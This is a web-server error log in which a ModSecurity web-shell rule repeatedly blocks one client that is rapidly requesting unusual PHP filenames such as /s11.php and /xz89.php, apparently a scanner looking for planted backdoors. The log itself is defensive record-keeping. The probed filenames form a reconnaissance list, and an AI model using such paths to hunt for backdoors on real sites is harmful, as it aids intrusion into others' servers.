[Fri Jan 02 05:52:04.258193 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:11717] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aVbshMez9k78gUs48kqRvQAAAAg"]
[Fri Jan 02 05:52:04.988210 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:11768] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aVbshHKLI9INGPLzfnd92gAAAMA"]
[Fri Jan 02 05:52:05.444832 2026] [:error] [pid 63100:tid 63161] [client 4.241.192.15:11648] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aVbshTuUXUKd3KTnKl-WfQAAAIA"]
[Fri Jan 02 05:52:05.761665 2026] [:error] [pid 63100:tid 63178] [client 4.241.192.15:11718] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aVbshTuUXUKd3KTnKl-WfgAAAJE"]
[Fri Jan 02 05:52:06.246457 2026] [:error] [pid 63099:tid 63148] [client 4.241.192.15:11714] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aVbshsmCZokRPYUhzvgWmQAAAE4"]
[Fri Jan 02 05:52:06.821742 2026] [:error] [pid 63098:tid 63108] [client 4.241.192.15:11713] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aVbshsez9k78gUs48kqRwgAAAAE"]
[Fri Jan 02 05:52:07.545595 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:6108] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aVbsh3KLI9INGPLzfnd94QAAANU"]
[Fri Jan 02 05:52:07.824871 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:11728] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aVbsh8mCZokRPYUhzvgWnQAAAFc"]
[Fri Jan 02 05:52:08.217258 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:11651] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aVbsiHKLI9INGPLzfnd95AAAAM8"]
[Fri Jan 02 05:52:08.806987 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:11674] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aVbsiMmCZokRPYUhzvgWogAAAEs"]
[Fri Jan 02 05:52:09.227603 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:11660] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aVbsicez9k78gUs48kqRxAAAABI"]
[Fri Jan 02 05:52:10.350677 2026] [:error] [pid 63208:tid 63218] [client 4.241.192.15:11750] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aVbsinKLI9INGPLzfnd96QAAAMc"]
[Fri Jan 02 05:52:11.230603 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:11649] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aVbsi3KLI9INGPLzfnd96wAAANY"]
[Fri Jan 02 05:52:12.008998 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:11740] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aVbsjHKLI9INGPLzfnd97gAAANU"]
[Fri Jan 02 05:52:12.559868 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:11690] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aVbsjHKLI9INGPLzfnd98AAAAM8"]
[Fri Jan 02 05:52:13.136022 2026] [:error] [pid 63099:tid 63146] [client 4.241.192.15:11736] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aVbsjcmCZokRPYUhzvgWpQAAAEw"]
[Fri Jan 02 05:52:14.008935 2026] [:error] [pid 63098:tid 63107] [client 4.241.192.15:11772] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aVbsjsez9k78gUs48kqRzAAAAAA"]
[Fri Jan 02 05:52:14.767792 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:11662] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aVbsjnKLI9INGPLzfnd9-wAAAMA"]
[Fri Jan 02 05:52:15.600604 2026] [:error] [pid 63099:tid 63137] [client 4.241.192.15:11771] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aVbsj8mCZokRPYUhzvgWqQAAAEM"]
[Fri Jan 02 05:52:16.244598 2026] [:error] [pid 63208:tid 63213] [client 4.241.192.15:11719] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aVbskHKLI9INGPLzfnd-BQAAAMI"]
[Fri Jan 02 05:52:16.648424 2026] [:error] [pid 63208:tid 63219] [client 4.241.192.15:11678] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aVbskHKLI9INGPLzfnd-BwAAAMg"]
[Fri Jan 02 05:52:17.437735 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:6080] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aVbskcez9k78gUs48kqRzwAAABA"]
[Fri Jan 02 05:52:18.030091 2026] [:error] [pid 63100:tid 63177] [client 4.241.192.15:11650] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aVbskjuUXUKd3KTnKl-WhwAAAJA"]
[Fri Jan 02 05:52:18.371911 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:11733] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aVbskjuUXUKd3KTnKl-WiAAAAJY"]
[Fri Jan 02 05:52:18.865028 2026] [:error] [pid 63100:tid 63165] [client 4.241.192.15:11667] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aVbskjuUXUKd3KTnKl-WiQAAAIQ"]
[Fri Jan 02 05:52:19.613302 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:11665] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aVbsk8ez9k78gUs48kqR0AAAABI"]
[Fri Jan 02 05:52:20.226130 2026] [:error] [pid 63098:tid 63116] [client 4.241.192.15:11748] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aVbslMez9k78gUs48kqR0QAAAAk"]
[Fri Jan 02 05:52:20.750197 2026] [:error] [pid 63208:tid 63228] [client 4.241.192.15:11724] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aVbslHKLI9INGPLzfnd-GAAAANE"]
[Fri Jan 02 05:52:21.506224 2026] [:error] [pid 63208:tid 63223] [client 4.241.192.15:11759] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aVbslXKLI9INGPLzfnd-GQAAAMw"]
[Fri Jan 02 05:52:22.085997 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:11726] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aVbsljuUXUKd3KTnKl-WjQAAAIk"]
[Fri Jan 02 05:52:22.505953 2026] [:error] [pid 63099:tid 63138] [client 4.241.192.15:11671] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aVbslsmCZokRPYUhzvgWqwAAAEQ"]
[Fri Jan 02 05:52:23.016533 2026] [:error] [pid 63208:tid 63234] [client 4.241.192.15:11676] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aVbsl3KLI9INGPLzfnd-HQAAANc"]
[Fri Jan 02 05:52:23.291530 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:11679] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aVbslzuUXUKd3KTnKl-WkQAAAI8"]
[Fri Jan 02 05:52:23.578805 2026] [:error] [pid 63098:tid 63113] [client 4.241.192.15:11711] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aVbsl8ez9k78gUs48kqR1gAAAAY"]
[Fri Jan 02 05:52:23.832576 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:11661] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aVbslzuUXUKd3KTnKl-WkgAAAI4"]
[Fri Jan 02 05:52:24.828714 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:11754] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aVbsmMez9k78gUs48kqR2QAAABg"]
[Fri Jan 02 05:52:25.448430 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:11656] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aVbsmTuUXUKd3KTnKl-WlAAAAJg"]
[Fri Jan 02 05:52:26.191460 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:11720] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aVbsmsez9k78gUs48kqR3QAAAAw"]
[Fri Jan 02 05:52:26.627398 2026] [:error] [pid 63098:tid 63116] [client 4.241.192.15:6096] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVbsmsez9k78gUs48kqR3gAAAAk"]
[Fri Jan 02 05:52:27.420076 2026] [:error] [pid 63098:tid 63126] [client 4.241.192.15:11708] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVbsm8ez9k78gUs48kqR4AAAABM"]
[Fri Jan 02 05:52:28.439937 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:11716] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVbsnMmCZokRPYUhzvgWrQAAAEs"]
[Fri Jan 02 05:52:28.776878 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:11760] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aVbsnMez9k78gUs48kqR5AAAAAg"]
[Fri Jan 02 05:52:29.030670 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:11755] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aVbsncmCZokRPYUhzvgWrgAAAFI"]
[Fri Jan 02 05:52:29.489110 2026] [:error] [pid 63099:tid 63134] [client 4.241.192.15:11669] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aVbsncmCZokRPYUhzvgWrwAAAEA"]
[Fri Jan 02 05:52:29.914811 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:6091] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aVbsnTuUXUKd3KTnKl-WnAAAAI4"]
[Fri Jan 02 05:52:30.272561 2026] [:error] [pid 63100:tid 63163] [client 4.241.192.15:11732] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aVbsnjuUXUKd3KTnKl-WnQAAAII"]
[Fri Jan 02 05:52:30.718273 2026] [:error] [pid 63099:tid 63141] [client 4.241.192.15:6111] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVbsnsmCZokRPYUhzvgWsQAAAEc"]
[Fri Jan 02 05:52:30.993962 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:6098] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVbsnsez9k78gUs48kqR5wAAABg"]
[Fri Jan 02 05:52:31.598818 2026] [:error] [pid 63099:tid 63143] [client 4.241.192.15:11715] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVbsn8mCZokRPYUhzvgWswAAAEk"]
[Fri Jan 02 05:52:31.982138 2026] [:error] [pid 63100:tid 63172] [client 4.241.192.15:11696] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVbsnzuUXUKd3KTnKl-WoQAAAIs"]
[Fri Jan 02 05:52:32.218815 2026] [:error] [pid 63099:tid 63136] [client 4.241.192.15:11744] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aVbsoMmCZokRPYUhzvgWtgAAAEI"]
[Fri Jan 02 05:52:32.539536 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:11670] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aVbsoMmCZokRPYUhzvgWuAAAAFc"]
[Fri Jan 02 05:52:32.841674 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:11672] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aVbsoHKLI9INGPLzfnd-LAAAAMk"]
[Fri Jan 02 05:52:33.430559 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:6092] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aVbsoXKLI9INGPLzfnd-LgAAAM8"]
[Fri Jan 02 05:52:34.184098 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:11704] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thai.php"] [unique_id "aVbsosez9k78gUs48kqR6QAAABA"]
[Fri Jan 02 05:52:34.652373 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:11684] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thai.php"] [unique_id "aVbsosez9k78gUs48kqR6wAAAAs"]
